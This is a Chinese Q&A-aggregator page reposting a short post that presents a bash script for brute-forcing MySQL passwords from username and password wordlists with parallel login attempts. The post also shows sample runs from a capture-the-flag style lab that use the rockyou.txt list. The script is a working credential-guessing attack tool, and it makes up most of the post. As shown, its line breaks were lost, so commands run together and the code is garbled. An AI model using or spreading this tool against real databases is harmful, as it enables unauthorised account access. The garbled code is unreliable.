已解决
【MySql密码爆破脚本】用于其他爆破工具无法使用的情况下
来自网友在路上 11148114提问 提问时间:2023-11-19 11:26:52阅读次数: 114
最佳答案 问答题库1148位专家为你答疑解惑
1、脚本
#!/bin/bash# 脚本参数
username=$1 # MySQL用户(或字典路径)
password=$2 # MySQL密码(或字典路径)
task_num=${3:-32} # 并发数,默认 32# 检查参数是否存在
if [ -z "$username" ] || [ -z "$password" ]; thenecho "请输入用户名(或字典路径)和密码(或字典路径)"echo "用法: ./mysql_login.sh username password"exit 1
fi# 并发数,默认 32
if ! [[ $task_num =~ ^[0-9]+$ ]]; thentask_num=32
fi# 读取用户字典文件
echo '读取用户信息...'
if [ -f "$username" ]; thenusernames=$(cat $username)
elseusernames=$(echo $username | cat)
fi
# 读取密码字典文件
echo '读取密码信息...'
if [ -f "$password" ]; thenpasswords=$(cat $password)
elsepasswords=$(echo $password | cat)
fi# 尝试登录函数
function try_mysql_login() {user=$1pswd=$2# 尝试登录MySQLoutput=$(mysql -u $user -p$pswd -e "exit" 2>&1)# 检查输出是否包含错误信息if [[ ! $output =~ 'ERROR' ]]; thenecho "成功登录,用户密码为 -> $user : $pswd"# 获取当前脚本的 PIDscript_pid=$(ps -p $$ | grep -v PID | awk '{print $1}')# 强制结束当前脚本kill -s 9 $script_pidfi
}function print_progress() {# 打印进度,如果一直没有输出,时间太长会感觉卡死了numb=$1task=$2snum=$3user=$4pswd=$5if [ $(($numb % ($task * 10))) -eq 0 ]; thenecho "尝试登录进度($numb/$snum) -> $user : $pswd"fi
}# 循环遍历密码字典
pool=0
count=0
total_tasks=$(($(echo "$usernames" | wc -l) * $(echo "$passwords" | wc -l)))
for username in $usernames; doecho "尝试用户: $username"for password in $passwords; docount=$((count + 1))# 等待空闲进程池中的任务while [ $pool -ge $task_num ]; dowait -n((pool--))done# 创建新任务并加入进程池{try_mysql_login $username $password# 在这里执行具体的登录操作,例如使用ssh命令# 示例:sshpass -p "$password" ssh "$user"@hostname command} &((pool++))print_progress $count $task_num $total_tasks $username $passworddone
done# 等待所有进程完成
waitecho "密码爆破失败"
exit 1
2、使用方法
使用场景:是一次打靶经历,内网容器,无法连接外网,又有很多命令失效,无法使用专门的MySql爆破工具,本人又很菜,就只能想到自己写一个sh的爆破脚本了。
(base) ┌──(root㉿kali)-[/usr/local/soft/hack]
└─# ./mysql_login.sh mike /usr/share/wordlists/rockyou.txt 64
尝试用户: mike
尝试登录进度 -> mike : pebbles
尝试登录进度 -> mike : poohbear1
尝试登录进度 -> mike : jacqueline
尝试登录进度 -> mike : scarlett
密码爆破失败
mike@host2:/tmp$ ./mysql_login.sh user.txt top500.txt
尝试用户: root
尝试登录进度 -> mike : pebbles
尝试登录进度 -> mike : poohbear1
尝试用户: mike
尝试登录进度 -> mike : pebbles
成功登录,密码为: password
查看全文
99%的人还看了
相似问题
- Python中控制台如何展示进度条——tqdm库使用
- idea2023.2.3版本出现reading maven projects的进度条一直卡住的问题
- 第一篇-专题说明及当前进度
- c语言实现http下载功能,显示进度条和下载速率
- 【Linux】:使用git命令行 || 在github创建项目 || Linux第一个小程序——进度条(进阶版本)
- 【Linux】:Linux项目自动化构建工具——make/Makefile || Linux第一个小程序——进度条(简单版本)
- Canvas 实现进度条展示统计数据示例
- 由QTableView/QTableWidget显示进度条和按钮,理解qt代理delegate用法
- 【项目管理】项目计划中常见影响进度的风险汇总
- 如何基于 vue3+el-upload 二次封装上传文件组件到阿里云 oss(附上传进度条)
猜你感兴趣
版权申明
本文"【MySql密码爆破脚本】用于其他爆破工具无法使用的情况下":http://eshow365.cn/6-39210-0.html 内容来自互联网,请自行判断内容的正确性。如有侵权请联系我们,立即删除!